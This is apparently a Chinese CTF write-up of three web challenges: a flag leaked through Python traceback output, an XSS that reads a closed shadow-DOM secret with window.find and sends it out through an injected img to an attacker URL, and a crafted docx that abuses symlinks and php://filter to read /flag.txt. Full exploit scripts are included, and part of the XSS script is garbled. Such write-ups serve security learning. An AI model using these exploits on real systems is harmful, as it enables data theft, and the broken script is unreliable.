首发于先知社区: https://xz.aliyun.com/news/17071
Online Python Editor#
app.py#
import ast
import traceback
from flask import Flask, render_template, request
app = Flask(__name__)
@app.get("/")
def home():
return render_template("index.html")
@app.post("/check")
def check():
try:
ast.parse(**request.json)
return {"status": True, "error": None}
except Exception:
return {"status": False, "error": traceback.format_exc()}
if __name__ == '__main__':
app.run(debug=True)
secret.py#
def main():
print("Here's the flag: ")
print(FLAG)
FLAG = "TRX{fake_flag_for_testing}"
main()
然后在index.html中
function checkCode() {
var source = editor.getValue();
fetch('/check', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ source: source })
})
.then(response => response.json())
.then(data => {
editor.operation(function () {
editor.eachLine(function (line) {
editor.removeLineClass(line, 'background', 'highlight-line');
});
});
if (data.status === false && data.error) {
var errorLine = parseInt(data.error.split('line ').pop().split(',')[0]) - 1;
console.log("Error at line:", errorLine);
editor.addLineClass(errorLine, 'background', 'highlight-line');
}
});
}
做了一个请求,所以逻辑就是,我们在网页中输入内容,然后他把我们输入后的内容发送到后端的check路由进行检查,利用ast.parse
来构成语法树,如果有错误就调用traceback.format_exc()
函数报错。
我们这里先随便示例\n
,然后加上一个:
(只要令他报错就行),他就会把第六行的报错内容输出出来,刚好也是flag位置,所以就能得到flag
最后打法:
内心os:当时已经读到第一行了,但是没想到\n能往下面读这个特性….
Baby Sandbox#
同样也是有附件,我们拿出来看看
server.js#
const express = require("express");
const path = require("path");
const process = require("process");
const app = express()
const bot = require("./bot");
let PORT = process.env.PORT || 1337
app.use(express.json());
app.use((req, res, next) => {
res.setHeader("Content-Security-Policy", "default-src 'none'; frame-ancestors 'none'; base-uri 'none'; form-action 'none'; script-src 'self' 'unsafe-inline';");
next()
})
app.set("view engine", "ejs")
app.set("views", path.join(__dirname, "views"))
app.get("/", (req, res) => {
let payload = req.query.payload || '<p>Hello World</p>';
payload = payload.replace(/[^\S ]/g, '');
res.render("index", { payload });
});
app.post("/visit", async (req, res) => {
let payload = req.body.payload
if (!payload)
return res.status(400).send("Missing payload")
if(typeof payload !== "string")
return res.status(400).send("Bad request")
try {
let result = await bot.visit(payload)
res.send(result)
} catch (err) {
console.error(err)
res.status(500).send("An error occurred")
}
})
app.listen(PORT, () => {
console.log(`Server running on port ${PORT}`)
})
bot.js#
~~我服了才看见最顶上的注释…~~~
// From ASIS CTF Finals 2024 - leakbin
const puppeteer = require("puppeteer");
const PORT = process.env.PORT || 1337;
const SITE = `http://localhost:${PORT}`;
const FLAG = process.env.FLAG || "TRX{fake_flag_for_testing}";
const FLAG_REGEX = /^TRX{[a-z0-9_]+}$/;
const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const visit = (payload) => {
return new Promise(async (resolve, reject) => {
if (!FLAG_REGEX.test(FLAG)) {
return reject(new Error("Error: Flag does not match flag regex, contact an admin if this is on remote"));
}
let browser, context, page;
try {
browser = await puppeteer.launch({
headless: true,
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
'--js-flags=--noexpose_wasm,--jitless' // this is a web chall :)
],
dumpio: true,
pipe: true,
executablePath: process.env.PUPPETEER_EXECUTABLE_PATH
});
// incognito btw
context = await browser.createBrowserContext();
page = await context.newPage();
await page.goto(SITE, { waitUntil: "domcontentloaded", timeout: 5000 });
await page.evaluate((flag) => {
localStorage.setItem("secret", flag);
}, FLAG);
await page.close();
} catch (err) {
console.error(err);
if (browser) await browser.close();
return reject(new Error("Error: Setup failed, if this happens consistently on remote contact an admin"));
}
resolve("Success!");
try {
page = await context.newPage();
await page.goto(`${SITE}?payload=${encodeURIComponent(payload)}`, { waitUntil: "domcontentloaded", timeout: 5000 });
await sleep(1000);
} catch (err) {
console.error(err);
}
if (browser) await browser.close();
});
};
module.exports = { visit };
先看一下bot这边,可以看到:
await page.evaluate((flag) => {
localStorage.setItem("secret", flag);
}, FLAG);
在local的地方存储了flag
try {
page = await context.newPage();
await page.goto(`${SITE}?payload=${encodeURIComponent(payload)}`, { waitUntil: "domcontentloaded", timeout: 5000 });
await sleep(1000);
} catch (err) {
console.error(err);
}
在这里跳转到其local然后将参数传递过去。 传递到index.ejs中
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Hello</title>
</head>
<body>
<iframe
srcdoc='<%= include("iframe", { payload: payload }) %>'
sandbox="allow-scripts allow-same-origin"
></iframe>
</body>
</html>
然后这里用了<%=%>来渲染,其实就是把iframe嵌套进来 然后在iframe中嵌套的地方:
<script>
(function() {
let container = document.getElementById("secret-container");
let secretDiv = document.createElement("div");
let shadow = secretDiv.attachShadow({ mode: "closed" });
let flagElement = document.createElement("span");
flagElement.textContent =
localStorage.getItem("secret") || "TRX{fake_flag_for_testing}";
shadow.appendChild(flagElement);
localStorage.removeItem("secret");
container.appendChild(secretDiv);
})();
let d = document.createElement("div");
d.innerHTML = "<%= payload %>";
document.body.appendChild(d);
</script>
然后这里我觉得有必要说一下关于Shadow DOM方面的一些知识点。 因为我们可以看到其实从始至终flag都没有被渲染到可视的页面内,那为什么我们最终能获取到flag?就是要Hacking Shadow DOM。
Shadow DOM 是 Web Components 技术的一部分,它允许你创建 封装的 DOM,从而使你能够将 HTML 结构、CSS 样式和 JavaScript 功能封装在一个独立的、隔离的环境中。这使得组件的样式和功能不受外部页面的影响,也不影响外部页面。(GPT回答)
而在iframe.ejs中有这么一行shadow.appendChild(flagElement);
,也就是他把这个flag封装起来,也就是页面上是不会显示的,所以我们在传payload的时候就没办法利用正则来对页面内的flag进行获取。
具体怎么攻击可以看这一篇。 https://blog.ankursundara.com/shadow-dom/ 所以我们可以利用window.find来指向他进行获取flag的操作。
接着我们来看CSP和SandBox的位置
.app.use((req, res, next) => {
.res.setHeader("Content-Security-Policy""Content-Security-Policy", "default-src 'none'; frame-ancestors 'none'; base-uri 'none'; form-action 'none'; script-src 'self' 'unsafe-inline';"););
next ( )
})
可以看到设置了策略script-src
是unsafe-inline
所以可以内联执行js
其他的,这里的default-src
设置成了none,阻止页面加载任何外部资源。所以对于外带flag这里还需要绕过一下。
< iframe
srcdoc = '<%= include("iframe", { payload: payload }) %>'
sandbox = "allow-scripts allow-same-origin"
></ iframe >
这里设置了一个sandbox,但是还是限制了弹出新窗口。 具体绕过看这一篇: https://blog.huli.tw/2022/04/07/en/iframe-and-window-open/
所以我们可以利用top.document.body
进行写入,然后在导航页写入xss,进行外带flag
最终exp:
Import httpx
BASE = "http://localhost:1337"
DEST = ""?#外带地址
Payroll = '''
<img src onerror="
window.flag = 'TRX{';
for (let j = 0; j <= 60; j++) {
for (let i = 32; i <= 126; i++) {
let c = String. from CharCode(i);
if(window.find(window.flag + c,true,false,true)) {
window.flag += c;
console.log(window.flag);
to break;
}
}
}
top.document.body.innerHTML += '<img src onerror=`<<<DEST>>/flag?' +window.flag+'`>';
">
'''
payload = payload.replace("<<DEST>>, DEST)
payload = ''.join(f' \\ x{ord(c):02x}' for c in payload)
print(BASE + "/? payload=" + payload)
response = httpx.post(BASE + "/visit", json={"payload" : payload})
print (response.text)
注意一下为了完整的将payload传输,我们需要hex一下。 最后外带
zStego#
简介
Modern day script kiddies like to encrypt their conversations using this weird "zlib" thing. I had literally never heard of it.
Doesn't look safe, you say? Well, no one expects it so it works!
I created this majestic tool to look for zlib-encrypted messages in Word documents, because I'm fascinated by this zlib-encryption everyone uses.
(TRX script kiddies left a flag in /flag.txt)
进来后页面是一个文件上传和扫描功能
我们来看一下源码(主要片段)
/* processing uploaded Word - valid document contains relationship table */
$zip = new ZipArchive();
$zipFilename = $_FILES['input']['tmp_name'];
if ($zip->open($zipFilename) !== true || $zip->locateName(REL_FILENAME) === false)
hellYeah(400, 'File is not a valid Word document.');
//解析成SimpleXML对象
$relsDom = simplexml_load_string($zip->getFromName(REL_FILENAME));
if ($relsDom === false)
hellYeah(400, 'Invalid object relationship table. Document may be corrupted.');
/* extract document's "media" folder into a temporary directory */
$tmpDir = exec("mktemp -d --tmpdir=/tmp/ zipXXXXXXXXX"); //创建临时目录,目录名随机
shell_exec("unzip $zipFilename \"word/media*\" -d \"$tmpDir\"");
function cleanup($tmpDir) { shell_exec("rm -rf $tmpDir"); }
register_shutdown_function('cleanup', $tmpDir); // cleanup in the end
chdir("$tmpDir/word/media");
ini_set('open_basedir', '.');
$messages = [];
foreach($relsDom->Relationship as $rel) {
if($rel['Type'] == 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/image') {
if (!str_starts_with($rel['Target'], 'media/'))
continue;
$filename = substr($rel['Target'], 6);
$file = @file_get_contents($filename);
if ($file === false) // Object relationship table points to inexistent file. Document may be corrupted
break;
$result = @zlib_decode($file); // This will expose them hackers!
if ($result !== false)
$messages[] = $result;
}
}
所以我们的思路其实就是伪造一个docx文件,让他在file_get_content
的时候把一个压缩后的flag.txt拿出来再放进decode一下即可。
但是这里要注意一下怎么去构造这个文件,用软链接使其media指向根目录去读取flag,这里直接贴exp吧
import os
import zipfile
import requests
def ZipDir(inputDir, outputZip):
'''Zip up a directory and preserve symlinks and empty directories'''
zipOut = zipfile.ZipFile(outputZip, 'w', compression=zipfile.ZIP_DEFLATED)
rootLen = len(os.path.dirname(inputDir))
def _ArchiveDirectory(parentDirectory):
contents = os.listdir(parentDirectory)
# store empty directories
if not contents:
# http://www.velocityreviews.com/forums/t318840-add-empty-directory-using-zipfile.html
archiveRoot = parentDirectory[rootLen:].replace('\\', '/').lstrip('/')
zipInfo = zipfile.ZipInfo(archiveRoot+'/')
zipOut.writestr(zipInfo, '')
for item in contents:
fullPath = os.path.join(parentDirectory, item)
if os.path.isdir(fullPath) and not os.path.islink(fullPath):
_ArchiveDirectory(fullPath)
else:
archiveRoot = fullPath[rootLen:].replace('\\', '/').lstrip('/')
if os.path.islink(fullPath):
# http://www.mail-archive.com/python-list@python.org/msg34223.html
zipInfo = zipfile.ZipInfo(archiveRoot)
zipInfo.create_system = 3
# long type of hex val of '0xA1ED0000L',
# say, symlink attr magic...
zipInfo.external_attr = 2716663808
zipOut.writestr(zipInfo, os.readlink(fullPath))
else:
zipOut.write(fullPath, archiveRoot, zipfile.ZIP_DEFLATED)
_ArchiveDirectory(inputDir)
zipOut.close()
def pack_payload(zip_filename):
tmp_dir = "./tmp/"
word_dir = os.path.join(tmp_dir, "word")
rels_dir = os.path.join(word_dir, "_rels")
media_symlink = os.path.join(word_dir, "media")
os.makedirs(rels_dir, exist_ok=True)
# Create the document.xml.rels file with user-defined content
rels_content = """
<?xml version='1.0' encoding='UTF-8'?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/php://filter/read=zlib.deflate/resource=flag.txt"/>
</Relationships>
""".strip()
with open(os.path.join(rels_dir, "document.xml.rels"), "w") as f:
f.write(rels_content)
if not os.path.exists(media_symlink):
os.symlink("/", media_symlink)
zip_path = os.path.join(tmp_dir, zip_filename)
ZipDir(tmp_dir, zip_path)
return zip_path
def upload_zip(zip_path, url):
with open(zip_path, 'rb') as f:
files = {'input': (os.path.basename(zip_path), f, 'application/vnd.openxmlformats-officedocument.wordprocessingml.document')}
response = requests.post(url, files=files)
print("Status:", response.status_code)
print("Body:", response.text)
if __name__ == "__main__":
zip_filename = "output.docx"
upload_url = "http://localhost:1337/upload.php"
zip_path = pack_payload(zip_filename)
upload_zip(zip_path, upload_url)
最后拿到flag